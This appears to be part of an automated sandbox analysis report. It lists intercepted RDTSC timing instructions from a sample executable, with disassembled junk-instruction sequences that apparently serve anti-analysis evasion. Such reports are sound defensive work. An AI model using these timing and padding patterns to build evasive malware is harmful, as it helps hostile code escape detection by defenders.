Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E002C second address: 2E0036 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD28914AC76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E0036 second address: 2E0066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2886DB1B3h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007FD2886DB1B3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E0494 second address: 2E049A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E049A second address: 2E049F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E076D second address: 2E0776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E0776 second address: 2E077A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E077A second address: 2E077E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E0A85 second address: 2E0A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FD2886DB1A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1029 second address: 2E102D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E102D second address: 2E1033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6511 second address: 2E6515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E6515 second address: 2E6519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5989 second address: 2E598F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E598F second address: 2E5998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5DC5 second address: 2E5DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5DC9 second address: 2E5DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5F79 second address: 2E5F83 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD28914AC7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2458B4 second address: 2458CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2886DB1ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2458CA second address: 2458D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2458D3 second address: 2458E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD2886DB1A6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2458E0 second address: 2458FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC88h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F32E3 second address: 2F3300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F1AF9 second address: 2F1B15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC83h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F21AE second address: 2F21B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F10A2 second address: 2F10CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD28914AC89h 0x00000009 jng 00007FD28914AC76h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FD28914AC76h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FA172 second address: 2FA181 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD2886DB1AAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FA181 second address: 2FA189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FA2D4 second address: 2FA2DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FA2DA second address: 2FA2F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD28914AC76h 0x0000000a jmp 00007FD28914AC85h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FA2F9 second address: 2FA329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2886DB1AEh 0x0000000f jmp 00007FD2886DB1B8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FA329 second address: 2FA32D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 306882 second address: 3068CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD2886DB1B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FD2886DB1A8h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007FD2886DB1B6h 0x0000001b push eax 0x0000001c pop eax 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 pushad 0x00000025 popad 0x00000026 je 00007FD2886DB1A6h 0x0000002c pop eax 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3068CF second address: 3068F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD28914AC86h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3068F0 second address: 3068F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 248E8B second address: 248E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD28914AC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318F8E second address: 318F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318F92 second address: 318F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318F98 second address: 318FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD2886DB1A6h 0x0000000a jc 00007FD2886DB1A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318FA8 second address: 318FAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31BDB3 second address: 31BDBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD2886DB1A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31BDBD second address: 31BDE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD28914AC81h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31BDE9 second address: 31BE1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 jmp 00007FD2886DB1B1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31BE1D second address: 31BE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD28914AC76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31BE29 second address: 31BE2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322966 second address: 32296A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322B16 second address: 322B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322B1C second address: 322B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322B22 second address: 322B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3236B7 second address: 3236BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325FC4 second address: 325FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325FCE second address: 325FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32612F second address: 326149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD2886DB1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 326149 second address: 326159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD28914AC76h 0x0000000a jp 00007FD28914AC76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32F82E second address: 32F838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32F838 second address: 32F857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f jp 00007FD28914AC7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32F857 second address: 32F876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2886DB1A8h 0x0000000a pushad 0x0000000b jmp 00007FD2886DB1AEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 346709 second address: 34670E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348F86 second address: 348F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348F9E second address: 348FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD28914AC87h 0x0000000b popad 0x0000000c jo 00007FD28914AC9Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD28914AC86h 0x00000019 jo 00007FD28914AC76h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36138F second address: 361393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361393 second address: 361399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361399 second address: 3613B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jnp 00007FD2886DB1A8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FD2886DB1A6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3613B3 second address: 3613E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC85h 0x00000007 jc 00007FD28914AC76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 jo 00007FD28914AC76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361853 second address: 361859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361859 second address: 361872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD28914AC82h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361872 second address: 36187F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364999 second address: 3649A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD28914AC7Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3649A8 second address: 3649CC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2886DB1A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2886DB1B3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3649CC second address: 3649D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3649D6 second address: 364A2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edx, dword ptr [ebp+12474626h] 0x00000011 movzx edx, dx 0x00000014 push 00000004h 0x00000016 mov edx, ecx 0x00000018 call 00007FD2886DB1A9h 0x0000001d pushad 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 je 00007FD2886DB1BDh 0x0000002a jmp 00007FD2886DB1B7h 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD2886DB1ACh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364A2D second address: 364A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364A3F second address: 364A9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD2886DB1B9h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnp 00007FD2886DB1B6h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push edx 0x00000018 jnp 00007FD2886DB1ACh 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD2886DB1ACh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364D64 second address: 364D76 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FD28914AC76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367762 second address: 36777A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FD2886DB1ADh 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36960B second address: 36962F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FD28914AC9Fh 0x0000000b jmp 00007FD28914AC85h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36962F second address: 369635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 369635 second address: 369639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0028D second address: 4C002B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD2886DB1ADh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD2886DB1ADh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002B2 second address: 4C002B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002B8 second address: 4C002BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002BC second address: 4C002C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002C0 second address: 4C002FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD2886DB1B4h 0x00000010 adc ah, FFFFFFE8h 0x00000013 jmp 00007FD2886DB1ABh 0x00000018 popfd 0x00000019 mov di, cx 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov ax, 0BADh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002FA second address: 4C00347 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 5252B5A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx ecx, dx 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f jmp 00007FD28914AC81h 0x00000014 mov edx, dword ptr [ebp+0Ch] 0x00000017 jmp 00007FD28914AC7Eh 0x0000001c mov ecx, dword ptr [ebp+08h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD28914AC87h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00347 second address: 4C0035F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30485 second address: 4C3048B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3048B second address: 4C3048F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3048F second address: 4C304A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 mov si, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304A4 second address: 4C304AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304AA second address: 4C304AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304AE second address: 4C304C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD2886DB1ABh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304C5 second address: 4C304CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304CB second address: 4C304CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304CF second address: 4C304ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD28914AC83h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304ED second address: 4C30505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30505 second address: 4C30509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30509 second address: 4C30520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2886DB1AAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C305E6 second address: 4C305FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC81h 0x00000009 rdtsc
